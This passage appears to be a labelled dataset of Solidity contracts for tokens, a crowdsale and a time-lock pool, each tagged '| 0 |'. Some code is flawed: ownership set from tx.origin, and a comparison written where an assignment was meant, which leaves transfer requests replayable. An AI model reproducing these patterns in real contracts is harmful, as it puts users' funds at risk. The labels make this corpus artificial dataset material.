string public symbol = "CES";
uint8 public decimals = 0;
function transfer(address dst, uint wad) public stoppable note returns (bool) {
return super.transfer(dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public stoppable note returns (bool) {
return super.transferFrom(src, dst, wad);
}
function approve(address guy, uint wad) public stoppable note returns (bool) {
return super.approve(guy, wad);
}
function push(address dst, uint128 wad) public returns (bool) {
return transfer(dst, wad);
}
function pull(address src, uint128 wad) public returns (bool) {
return transferFrom(src, msg.sender, wad);
}
function mint(uint128 wad) public auth stoppable note {
_balances[msg.sender] = add(_balances[msg.sender], wad);
_supply = add(_supply, wad);
}
function burn(uint128 wad) public auth stoppable note {
_balances[msg.sender] = sub(_balances[msg.sender], wad);
_supply = sub(_supply, wad);
}
}
contract CESVendue is DSAuth, DSMath {
DSToken public CES;
uint public totalETH;
uint public price;
uint32 public iaSupply;
uint32 public iaLeft;
struct accountInfo {
uint ethVendue;
string accountName;
string publicKey;
string pinblock;
}
struct elfInfo {
bool bGetElf;
uint8 elfSex;
uint16 elfType;
}
mapping (address => elfInfo) public elfInfos;
mapping (address => accountInfo) public initAccInfos;
mapping (address => string) public commonAccs;
address public godOwner;
uint16 public godID;
bool public vendueClose = false;
bool public tokenFreeze = false;
address[] public addrLists;
uint startLine;
event LogFund(address backer, uint amount, bool isContribution, uint gift);
event LogFreeze();
event LogElf(address user, uint8 elfSex, uint16 elfType);
event LogGod(address owner, uint16 godID);
event LogInitAcc(address user, string account, string key, string pin);
event LogRegister(address user, string key, uint token);
constructor() public {
iaSupply = 20000;
iaLeft = iaSupply;
startLine = now;
price = 5 ether;
}
function initialize(DSToken tokenReward) public auth {
assert(address(CES) == address(0));
assert(tokenReward.owner() == address(this));
assert(tokenReward.authority() == DSAuthority(0));
assert(tokenReward.totalSupply() == 0);
uint128 totalIssue = 1000000000;
uint128 coinDisable = 600000000;
uint128 coinContribute = 200000000;
uint128 coinGiftB = 100000000;
startLine = now;
CES = tokenReward;
CES.mint(totalIssue);
CES.push(0x00, hadd(coinDisable, coinContribute));
CES.push(msg.sender, coinGiftB);
}
function setPrice(uint price_) external auth {
require(!vendueClose);
price = price_;
}
function balanceToken() public view returns (uint256) {
assert(address(CES) != address(0));
return CES.balanceOf(this);
}
function todayDays() public view returns (uint) {
return (div(sub(now, startLine), 1 days) + 1);
}
function () public payable {
require(!vendueClose);
require(iaLeft > 0);
require(msg.value >= price);
require(initAccInfos[msg.sender].ethVendue == 0);
uint money = msg.value;
initAccInfos[msg.sender].ethVendue = money;
totalETH = add(totalETH, money);
iaLeft--;
uint dayNow = todayDays();
if(dayNow <= (30 + 7)) {
elfInfos[msg.sender].bGetElf = true;
}
uint coinNeed;
uint giftLeft = balanceToken();
if(dayNow <= (90 + 7)) {
if(giftLeft >= 3500) {
coinNeed = 3500;
}
}
else {
if(giftLeft >= 2000) {
coinNeed = 2000;
}
}
if(money > price) {
uint multiple = div(sub(money, price), 1 ether);
uint moreGift = mul(multiple, 800);
if(moreGift > 0 && (sub(giftLeft, coinNeed) >= moreGift)) {
coinNeed = add(coinNeed, moreGift);
}
}
if(coinNeed > 0) {
CES.transfer(msg.sender, coinNeed);
}
pushAddr(msg.sender);
emit LogFund(msg.sender, money, true, coinNeed);
}
function withdrawal() external auth {
uint takeNow = sub(address(this).balance, 1 finney);
if(takeNow > 0) {
if (msg.sender.send(takeNow)) {
emit LogFund(msg.sender, takeNow, false, 0);
}
}
}
function vendueClosed() external auth {
vendueClose = true;
distillGodOwner();
}
function freezeToken() external auth {
require(vendueClose);
tokenFreeze = true;
CES.stop();
emit LogFreeze();
}
function distillGodOwner() public auth {
require(vendueClose);
uint ethHighest = 0;
address addrHighest = address(0);
address addr;
for(uint i = 0; i < addrLists.length; i++) {
addr = addrLists[i];
if(address(addr) == address(0)) {
continue;
}
if(initAccInfos[addr].ethVendue > ethHighest) {
ethHighest = initAccInfos[addr].ethVendue;
addrHighest = addr;
}
}
godOwner = addrHighest;
}
function pushAddr(address dst) internal {
bool bExist = false;
address addr;
for(uint i = 0; i < addrLists.length; i++) {
addr = addrLists[i];
if(address(addr) == address(dst)) {
bExist = true;
break;
}
}
if(!bExist)
{
addrLists.push(dst);
}
}
function selectElf(uint8 elfSex, uint16 elfType) external {
require(elfInfos[msg.sender].bGetElf);
elfInfos[msg.sender].elfSex = elfSex;
elfInfos[msg.sender].elfType = elfType;
emit LogElf(msg.sender, elfSex, elfType);
}
function selectGod(uint16 godID_) external {
require(vendueClose);
require(msg.sender == godOwner);
godID = godID_;
emit LogGod(godOwner, godID);
}
function regInitAccount(string account, string publicKey, string pinblock) external {
require(initAccInfos[msg.sender].ethVendue > 0);
assert(bytes(account).length <= 10 && bytes(account).length >= 2);
assert(bytes(publicKey).length <= 128);
assert(bytes(pinblock).length == 16 || bytes(pinblock).length == 32);
initAccInfos[msg.sender].accountName = account;
initAccInfos[msg.sender].publicKey = publicKey;
initAccInfos[msg.sender].pinblock = pinblock;
emit LogInitAcc(msg.sender, account, publicKey, pinblock);
}
function register(string publicKey) external {
require(tokenFreeze);
assert(bytes(publicKey).length <= 128);
commonAccs[msg.sender] = publicKey;
uint token = CES.balanceOf(msg.sender);
emit LogRegister(msg.sender, publicKey, token);
}
} | 0 |
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
function Ownable() public {
owner = tx.origin;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner public {
require(_newOwner != address(0));
owner = _newOwner;
}
}
contract BasicERC20Token is Ownable {
using SafeMath for uint256;
uint256 public totalSupply;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function getTotalSupply() public view returns (uint256) {
return totalSupply;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function _transfer(address _from, address _to, uint256 _amount) internal returns (bool) {
require (_from != 0x0);
require (_to != 0x0);
require (balances[_from] >= _amount);
require (balances[_to] + _amount > balances[_to]);
uint256 length;
assembly {
length := extcodesize(_to)
}
require (length == 0);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function transfer(address _to, uint256 _amount) public returns (bool) {
_transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool) {
require (allowed[_from][msg.sender] >= _amount);
_transfer(_from, _to, _amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool) {
require (_spender != 0x0);
require (_amount >= 0);
require (balances[msg.sender] >= _amount);
if (_amount == 0) allowed[msg.sender][_spender] = _amount;
else allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_amount);
emit Approval(msg.sender, _spender, _amount);
return true;
}
}
contract PULSToken is BasicERC20Token {
string public constant name = 'PULS Token';
string public constant symbol = 'PULS';
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 88888888000000000000000000;
address public crowdsaleAddress;
struct Reserve {
uint256 pulsAmount;
uint256 collectedEther;
}
mapping (address => Reserve) reserved;
struct Lock {
uint256 amount;
uint256 startTime;
uint256 timeToLock;
bytes32 pulseLockHash;
}
struct lockList{
Lock[] lockedTokens;
}
mapping (address => lockList) addressLocks;
modifier onlyCrowdsaleAddress() {
require(msg.sender == crowdsaleAddress);
_;
}
event TokenReservation(address indexed beneficiary, uint256 sendEther, uint256 indexed pulsAmount, uint256 reserveTypeId);
event RevertingReservation(address indexed addressToRevert);
event TokenLocking(address indexed addressToLock, uint256 indexed amount, uint256 timeToLock);
event TokenUnlocking(address indexed addressToUnlock, uint256 indexed amount);
function PULSToken() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
crowdsaleAddress = msg.sender;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function () external payable {
}
function reserveOf(address _owner) public view returns (uint256) {
return reserved[_owner].pulsAmount;
}
function collectedEtherFrom(address _buyer) public view returns (uint256) {
return reserved[_buyer].collectedEther;
}
function getAddressLockedLength(address _address) public view returns(uint256 length) {
return addressLocks[_address].lockedTokens.length;
}
function getLockedStructAmount(address _address, uint256 _index) public view returns(uint256 amount) {
return addressLocks[_address].lockedTokens[_index].amount;
}
function getLockedStructStartTime(address _address, uint256 _index) public view returns(uint256 startTime) {
return addressLocks[_address].lockedTokens[_index].startTime;
}
function getLockedStructTimeToLock(address _address, uint256 _index) public view returns(uint256 timeToLock) {
return addressLocks[_address].lockedTokens[_index].timeToLock;
}
function getLockedStructPulseLockHash(address _address, uint256 _index) public view returns(bytes32 pulseLockHash) {
return addressLocks[_address].lockedTokens[_index].pulseLockHash;
}
function sendTokens(address _beneficiary) onlyOwner public returns (bool) {
require (reserved[_beneficiary].pulsAmount > 0);
_transfer(crowdsaleAddress, _beneficiary, reserved[_beneficiary].pulsAmount);
reserved[_beneficiary].pulsAmount = 0;
return true;
}
function reserveTokens(address _beneficiary, uint256 _pulsAmount, uint256 _eth, uint256 _reserveTypeId) onlyCrowdsaleAddress public returns (bool) {
require (_beneficiary != 0x0);
require (totalSupply >= _pulsAmount);
totalSupply = totalSupply.sub(_pulsAmount);
reserved[_beneficiary].pulsAmount = reserved[_beneficiary].pulsAmount.add(_pulsAmount);
reserved[_beneficiary].collectedEther = reserved[_beneficiary].collectedEther.add(_eth);
emit TokenReservation(_beneficiary, _eth, _pulsAmount, _reserveTypeId);
return true;
}
function revertReservation(address _addressToRevert) onlyOwner public returns (bool) {
require (reserved[_addressToRevert].pulsAmount > 0);
totalSupply = totalSupply.add(reserved[_addressToRevert].pulsAmount);
reserved[_addressToRevert].pulsAmount = 0;
_addressToRevert.transfer(reserved[_addressToRevert].collectedEther - (20000000000 * 21000));
reserved[_addressToRevert].collectedEther = 0;
emit RevertingReservation(_addressToRevert);
return true;
}
function lockTokens(uint256 _amount, uint256 _minutesToLock, bytes32 _pulseLockHash) public returns (bool){
require(balances[msg.sender] >= _amount);
Lock memory lockStruct;
lockStruct.amount = _amount;
lockStruct.startTime = now;
lockStruct.timeToLock = _minutesToLock * 1 minutes;
lockStruct.pulseLockHash = _pulseLockHash;
addressLocks[msg.sender].lockedTokens.push(lockStruct);
balances[msg.sender] = balances[msg.sender].sub(_amount);
emit TokenLocking(msg.sender, _amount, _minutesToLock);
return true;
}
function unlockTokens(address _addressToUnlock) public returns (bool){
uint256 i = 0;
while(i < addressLocks[_addressToUnlock].lockedTokens.length) {
if (now > addressLocks[_addressToUnlock].lockedTokens[i].startTime + addressLocks[_addressToUnlock].lockedTokens[i].timeToLock) {
balances[_addressToUnlock] = balances[_addressToUnlock].add(addressLocks[_addressToUnlock].lockedTokens[i].amount);
emit TokenUnlocking(_addressToUnlock, addressLocks[_addressToUnlock].lockedTokens[i].amount);
if (i < addressLocks[_addressToUnlock].lockedTokens.length) {
for (uint256 j = i; j < addressLocks[_addressToUnlock].lockedTokens.length - 1; j++){
addressLocks[_addressToUnlock].lockedTokens[j] = addressLocks[_addressToUnlock].lockedTokens[j + 1];
}
}
delete addressLocks[_addressToUnlock].lockedTokens[addressLocks[_addressToUnlock].lockedTokens.length - 1];
addressLocks[_addressToUnlock].lockedTokens.length = addressLocks[_addressToUnlock].lockedTokens.length.sub(1);
}
else {
i = i.add(1);
}
}
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StagedCrowdsale is Ownable {
using SafeMath for uint256;
struct Stage {
uint256 hardcap;
uint256 price;
uint256 minInvestment;
uint256 invested;
uint256 closed;
}
Stage[] public stages;
function getCurrentStage() public view returns(uint256) {
for(uint256 i=0; i < stages.length; i++) {
if(stages[i].closed == 0) {
return i;
}
}
revert();
}
function addStage(uint256 _hardcap, uint256 _price, uint256 _minInvestment, uint _invested) onlyOwner public {
require(_hardcap > 0 && _price > 0);
Stage memory stage = Stage(_hardcap.mul(1 ether), _price, _minInvestment.mul(1 ether).div(10), _invested.mul(1 ether), 0);
stages.push(stage);
}
function closeStage(uint256 _stageNumber) onlyOwner public {
require(stages[_stageNumber].closed == 0);
if (_stageNumber != 0) require(stages[_stageNumber - 1].closed != 0);
stages[_stageNumber].closed = now;
stages[_stageNumber].invested = stages[_stageNumber].hardcap;
if (_stageNumber + 1 <= stages.length - 1) {
stages[_stageNumber + 1].invested = stages[_stageNumber].hardcap;
}
}
function removeStages() onlyOwner public returns (bool) {
require(stages.length > 0);
stages.length = 0;
return true;
}
}
contract PULSCrowdsale is StagedCrowdsale {
using SafeMath for uint256;
PULSToken public token;
address public multiSigWallet;
bool public hasEnded;
bool public isPaused;
event TokenReservation(address purchaser, address indexed beneficiary, uint256 indexed sendEther, uint256 indexed pulsAmount);
event ForwardingFunds(uint256 indexed value);
modifier notEnded() {
require(!hasEnded);
_;
}
modifier notPaused() {
require(!isPaused);
_;
}
function PULSCrowdsale() public {
token = createTokenContract();
multiSigWallet = 0x00955149d0f425179000e914F0DFC2eBD96d6f43;
hasEnded = false;
isPaused = false;
addStage(3000, 1600, 1, 0);
addStage(3500, 1550, 1, 0);
addStage(4000, 1500, 1, 0);
addStage(4500, 1450, 1, 0);
addStage(42500, 1400, 1, 0);
}
function createTokenContract() internal returns (PULSToken) {
return new PULSToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) payable notEnded notPaused public {
require(msg.value >= 0);
uint256 stageIndex = getCurrentStage();
Stage storage stageCurrent = stages[stageIndex];
require(msg.value >= stageCurrent.minInvestment);
uint256 tokens;
if (stageCurrent.invested.add(msg.value) >= stageCurrent.hardcap){
stageCurrent.closed = now;
if (stageIndex + 1 <= stages.length - 1) {
Stage storage stageNext = stages[stageIndex + 1];
tokens = msg.value.mul(stageCurrent.price);
token.reserveTokens(_beneficiary, tokens, msg.value, 0);
stageNext.invested = stageCurrent.invested.add(msg.value);
stageCurrent.invested = stageCurrent.hardcap;
}
else {
tokens = msg.value.mul(stageCurrent.price);
token.reserveTokens(_beneficiary, tokens, msg.value, 0);
stageCurrent.invested = stageCurrent.invested.add(msg.value);
hasEnded = true;
}
}
else {
tokens = msg.value.mul(stageCurrent.price);
token.reserveTokens(_beneficiary, tokens, msg.value, 0);
stageCurrent.invested = stageCurrent.invested.add(msg.value);
}
emit TokenReservation(msg.sender, _beneficiary, msg.value, tokens);
forwardFunds();
}
function privatePresaleTokenReservation(address _beneficiary, uint256 _amount, uint256 _reserveTypeId) onlyOwner public {
require (_reserveTypeId > 0);
token.reserveTokens(_beneficiary, _amount, 0, _reserveTypeId);
emit TokenReservation(msg.sender, _beneficiary, 0, _amount);
}
function forwardFunds() internal {
multiSigWallet.transfer(msg.value);
emit ForwardingFunds(msg.value);
}
function finishCrowdsale() onlyOwner notEnded public returns (bool) {
hasEnded = true;
return true;
}
function pauseCrowdsale() onlyOwner notEnded notPaused public returns (bool) {
isPaused = true;
return true;
}
function unpauseCrowdsale() onlyOwner notEnded public returns (bool) {
isPaused = false;
return true;
}
function changeMultiSigWallet(address _newMultiSigWallet) onlyOwner public returns (bool) {
multiSigWallet = _newMultiSigWallet;
return true;
}
} | 0 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Owned {
address public owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract ERC20 is ERC20Basic {
string public name = "zeosX";
string public symbol;
uint256 public decimals = 18;
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function multiTransfer(address[] _to,uint[] _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract KYCVerification is Owned{
mapping(address => bool) public kycAddress;
event LogKYCVerification(address _kycAddress,bool _status);
constructor () public {
owner = msg.sender;
}
function updateVerifcationBatch(address[] _kycAddress,bool _status) onlyOwner public returns(bool)
{
for(uint tmpIndex = 0; tmpIndex < _kycAddress.length; tmpIndex++)
{
kycAddress[_kycAddress[tmpIndex]] = _status;
emit LogKYCVerification(_kycAddress[tmpIndex],_status);
}
return true;
}
function updateVerifcation(address _kycAddress,bool _status) onlyOwner public returns(bool)
{
kycAddress[_kycAddress] = _status;
emit LogKYCVerification(_kycAddress,_status);
return true;
}
function isVerified(address _user) view public returns(bool)
{
return kycAddress[_user] == true;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract ST20EToken is Owned, BurnableToken {
string public name = "SUREBANQA ENTERPRISE e-SHARE";
string public symbol = "ST20E";
uint8 public decimals = 2;
uint256 public initialSupply = 1000000 * (10 ** uint256(decimals));
uint256 public totalSupply = 1000000 * (10 ** uint256(decimals));
uint256 public externalAuthorizePurchase = 0;
mapping (address => uint) public userLockinPeriod;
mapping (address => uint) public userLockinPeriodType;
mapping (address => bool) public frozenAccount;
mapping(address => uint8) authorizedCaller;
bool public kycEnabled = true;
bool public authorizedTransferOnly = true;
mapping(address => mapping(bytes32 => bool)) private transferRequestStatus;
struct fundReceiver{
address _to;
uint _value;
}
mapping(address => mapping(bytes32 => fundReceiver)) private transferRequestReceiver;
KYCVerification public kycVerification;
event KYCMandateUpdate(bool _kycEnabled);
event KYCContractAddressUpdate(KYCVerification _kycAddress);
event FrozenFunds(address target, bool frozen);
event AuthorizedCaller(address caller);
event DeAuthorizedCaller(address caller);
event LockinPeriodUpdated(address _guy,uint _userLockinPeriodType, uint _userLockinPeriod);
event TransferAuthorizationOverride(bool _authorize);
event TransferRequested(address _from, address _to, uint _value,bytes32 _signature);
event TransferRequestFulfilled(address _from, address _to, uint _value,bytes32 _signature);
modifier onlyAuthCaller(){
require(authorizedCaller[msg.sender] == 1 || msg.sender == owner);
_;
}
modifier kycVerified(address _guy) {
if(kycEnabled == true){
if(kycVerification.isVerified(_guy) == false)
{
revert("KYC Not Verified");
}
}
_;
}
modifier frozenVerified(address _guy) {
if(frozenAccount[_guy] == true)
{
revert("Account is freeze");
}
_;
}
modifier transferAuthorized(address _guy) {
if(authorizedTransferOnly == true)
{
if(authorizedCaller[msg.sender] == 0 || msg.sender != owner)
{
revert();
}
}
_;
}
constructor() public {
owner = msg.sender;
balances[0xBcd5B67aaeBb9765beE438e4Ce137B9aE2181898] = totalSupply;
authorizedCaller[msg.sender] = 1;
emit AuthorizedCaller(msg.sender);
}
function updateKycContractAddress(KYCVerification _kycAddress) public onlyOwner returns(bool)
{
kycVerification = _kycAddress;
emit KYCContractAddressUpdate(_kycAddress);
return true;
}
function updateKycMandate(bool _kycEnabled) public onlyAuthCaller returns(bool)
{
kycEnabled = _kycEnabled;
emit KYCMandateUpdate(_kycEnabled);
return true;
}
function overrideUserLockinPeriod(address _guy,uint _userLockinPeriodType, uint _userLockinPeriod) public onlyAuthCaller
{
userLockinPeriodType[_guy] = _userLockinPeriodType;
userLockinPeriod[_guy] = _userLockinPeriod;
emit LockinPeriodUpdated(_guy,_userLockinPeriodType, _userLockinPeriod);
}
function overrideTransferAuthorization(bool _authorize) public onlyAuthCaller
{
authorizedTransferOnly = _authorize;
emit TransferAuthorizationOverride(_authorize);
}
function authorizeCaller(address _caller) public onlyOwner returns(bool)
{
authorizedCaller[_caller] = 1;
emit AuthorizedCaller(_caller);
return true;
}
function deAuthorizeCaller(address _caller) public onlyOwner returns(bool)
{
authorizedCaller[_caller] = 0;
emit DeAuthorizedCaller(_caller);
return true;
}
function () payable public {
revert();
}
function _transfer(address _from, address _to, uint _value) internal transferAuthorized(msg.sender) {
require (_to != 0x0);
require (balances[_from] > _value);
require (balances[_to].add(_value) > balances[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balances[target] = balances[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function purchaseToken(address _receiver, uint _tokens, uint _userLockinPeriod, uint _userLockinPeriodType) onlyAuthCaller public {
require(_tokens > 0);
require(initialSupply > _tokens);
initialSupply = initialSupply.sub(_tokens);
_transfer(owner, _receiver, _tokens);
externalAuthorizePurchase = externalAuthorizePurchase.add(_tokens);
if(_userLockinPeriod != 0 && _userLockinPeriodType != 0)
{
userLockinPeriod[_receiver] = _userLockinPeriod;
userLockinPeriodType[_receiver] = _userLockinPeriodType;
emit LockinPeriodUpdated(_receiver,_userLockinPeriodType, _userLockinPeriod);
}
}
function transfer(address _to, uint256 _value) public kycVerified(msg.sender) frozenVerified(msg.sender) returns (bool) {
if(kycEnabled == true){
if(kycVerification.isVerified(_to) == false)
{
revert("KYC Not Verified for Receiver");
}
}
_transfer(msg.sender,_to,_value);
return true;
}
function multiTransfer(address[] _to,uint[] _value) public kycVerified(msg.sender) frozenVerified(msg.sender) returns (bool) {
require(_to.length == _value.length, "Length of Destination should be equal to value");
require(_to.length <= 25, "Max 25 Senders allowed" );
for(uint _interator = 0;_interator < _to.length; _interator++ )
{
if(kycEnabled == true){
if(kycVerification.isVerified(_to[_interator]) == false)
{
revert("KYC Not Verified for Receiver");
}
}
}
for(_interator = 0;_interator < _to.length; _interator++ )
{
_transfer(msg.sender,_to[_interator],_value[_interator]);
}
return true;
}
function requestTransfer(address _to, uint _value, bytes32 _signature) public returns(bool)
{
require(transferRequestStatus[msg.sender][_signature] == false,"Signature already processed");
require (balances[msg.sender] > _value,"Insufficient Sender Balance");
transferRequestReceiver[msg.sender][_signature] = fundReceiver(_to,_value);
emit TransferRequested(msg.sender, _to, _value,_signature);
return true;
}
function batchRequestTransfer(address[] _to, uint[] _value, bytes32[] _signature) public returns(bool)
{
require(_to.length == _value.length ,"Length for to, value should be equal");
require(_to.length == _signature.length ,"Length for to, signature should be equal");
for(uint _interator = 0; _interator < _to.length ; _interator++)
{
require(transferRequestStatus[msg.sender][_signature[_interator]] == false,"Signature already processed");
transferRequestReceiver[msg.sender][_signature[_interator]] = fundReceiver(_to[_interator],_value[_interator]);
emit TransferRequested(msg.sender, _to[_interator], _value[_interator],_signature[_interator]);
}
return true;
}
function fullTransferRequest(address _from, bytes32 _signature) public onlyAuthCaller returns(bool)
{
require(transferRequestStatus[_from][_signature] == false);
fundReceiver memory _tmpHolder = transferRequestReceiver[_from][_signature];
_transfer(_from,_tmpHolder._to,_tmpHolder._value);
transferRequestStatus[_from][_signature] == true;
emit TransferRequestFulfilled(_from, _tmpHolder._to, _tmpHolder._value,_signature);
return true;
}
function batchFullTransferRequest(address[] _from, bytes32[] _signature) public onlyAuthCaller returns(bool)
{
for(uint _interator = 0; _interator < _from.length ; _interator++)
{
require(transferRequestStatus[_from[_interator]][_signature[_interator]] == false);
fundReceiver memory _tmpHolder = transferRequestReceiver[_from[_interator]][_signature[_interator]];
require (_tmpHolder._value < balances[_from[_interator]],"Insufficient Sender Balance");
_transfer(_from[_interator],_tmpHolder._to,_tmpHolder._value);
transferRequestStatus[_from[_interator]][_signature[_interator]] == true;
emit TransferRequestFulfilled(_from[_interator], _tmpHolder._to, _tmpHolder._value,_signature[_interator]);
}
return true;
}
function getTransferRequestStatus(address _from, bytes32 _signature) public view returns(bool _status)
{
return transferRequestStatus[_from][_signature];
}
function getTransferRequestReceiver(address _from, bytes32 _signature) public view returns(address _to, uint _value)
{
fundReceiver memory _tmpHolder = transferRequestReceiver[_from][_signature];
return (_tmpHolder._to, _tmpHolder._value);
}
} | 0 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TimeLockPool{
using SafeMath for uint256;
struct LockedBalance {
uint256 balance;
uint256 releaseTime;
}
mapping (address => mapping (address => LockedBalance[])) public lockedBalances;
event Deposit(
address indexed owner,
address indexed tokenAddr,
uint256 amount,
uint256 releaseTime
);
event Withdraw(
address indexed owner,
address indexed tokenAddr,
uint256 amount
);
constructor() public {}
function depositERC20 (
address tokenAddr,
address account,
uint256 amount,
uint256 releaseTime
) external returns (bool) {
require(account != address(0x0));
require(tokenAddr != 0x0);
require(msg.value == 0);
require(amount > 0);
require(ERC20Interface(tokenAddr).transferFrom(msg.sender, this, amount));
lockedBalances[account][tokenAddr].push(LockedBalance(amount, releaseTime));
emit Deposit(account, tokenAddr, amount, releaseTime);
return true;
}
function depositETH (
address account,
uint256 releaseTime
) external payable returns (bool) {
require(account != address(0x0));
address tokenAddr = address(0x0);
uint256 amount = msg.value;
require(amount > 0);
lockedBalances[account][tokenAddr].push(LockedBalance(amount, releaseTime));
emit Deposit(account, tokenAddr, amount, releaseTime);
return true;
}
function withdraw (address account, address tokenAddr, uint256 index_from, uint256 index_to) external returns (bool) {
require(account != address(0x0));
uint256 release_amount = 0;
for (uint256 i = index_from; i < lockedBalances[account][tokenAddr].length && i < index_to + 1; i++) {
if (lockedBalances[account][tokenAddr][i].balance > 0 &&
lockedBalances[account][tokenAddr][i].releaseTime <= block.timestamp) {
release_amount = release_amount.add(lockedBalances[account][tokenAddr][i].balance);
lockedBalances[account][tokenAddr][i].balance = 0;
}
}
require(release_amount > 0);
if (tokenAddr == 0x0) {
if (!account.send(release_amount)) {
revert();
}
emit Withdraw(account, tokenAddr, release_amount);
return true;
} else {
if (!ERC20Interface(tokenAddr).transfer(account, release_amount)) {
revert();
}
emit Withdraw(account, tokenAddr, release_amount);
return true;
}
}
function getAvailableBalanceOf (address account, address tokenAddr)
external
view
returns (uint256)
{
require(account != address(0x0));
uint256 balance = 0;
for(uint256 i = 0; i < lockedBalances[account][tokenAddr].length; i++) {
if (lockedBalances[account][tokenAddr][i].releaseTime <= block.timestamp) {
balance = balance.add(lockedBalances[account][tokenAddr][i].balance);
}
}
return balance;
}
function getLockedBalanceOf (address account, address tokenAddr)
external
view
returns (uint256)
{
require(account != address(0x0));
uint256 balance = 0;
for(uint256 i = 0; i < lockedBalances[account][tokenAddr].length; i++) {
